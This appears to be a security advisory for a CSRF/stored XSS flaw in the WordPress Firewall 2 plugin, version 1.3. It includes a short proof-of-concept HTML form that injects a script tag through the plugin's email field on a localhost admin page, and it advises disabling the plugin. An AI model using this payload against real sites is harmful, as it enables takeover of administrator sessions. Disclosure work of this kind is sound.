Software: WordPress Firewall 2
|
||
Version: 1.3
|
||
Homepage: https://wordpress.org/plugins/wordpress-firewall-2/
|
||
Advisory report: https://security.dxw.com/advisories/csrfstored-xss-in-wordpress-firewall-2-allows-unauthenticated-attackers-to-do-almost-anything-an-admin-can/
|
||
CVE: Awaiting assignment
|
||
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)
|
||
|
||
Description
|
||
================
|
||
CSRF/stored XSS in WordPress Firewall 2 allows unauthenticated attackers to do almost anything an admin can
|
||
|
||
Vulnerability
|
||
================
|
||
HTML is not escaped and there is no CSRF prevention, meaning attackers can put arbitrary HTML content onto the settings page.
|
||
|
||
Proof of concept
|
||
================
|
||
Visit the following page, click on the submit button, then visit the plugin’s options page:
|
||
-->
|
||
|
||
<form method=\"POST\" action=\"http://localhost/wp-admin/options-general.php?page=wordpress-firewall-2%2Fwordpress-firewall-2.php\">
|
||
<input type=\"text\" name=\"email_address\" value=\""><script>alert(1)</script>\">
|
||
<input type=\"text\" name=\"set_email\" value=\"Set Email\">
|
||
<input type=\"submit\">
|
||
</form>
|
||
|
||
<!--
|
||
In a real attack, forms can be submitted automatically and spear-phishing attacks can be convincing.
|
||
|
||
Mitigations
|
||
================
|
||
Disable the plugin until a new version is released that fixes this bug.
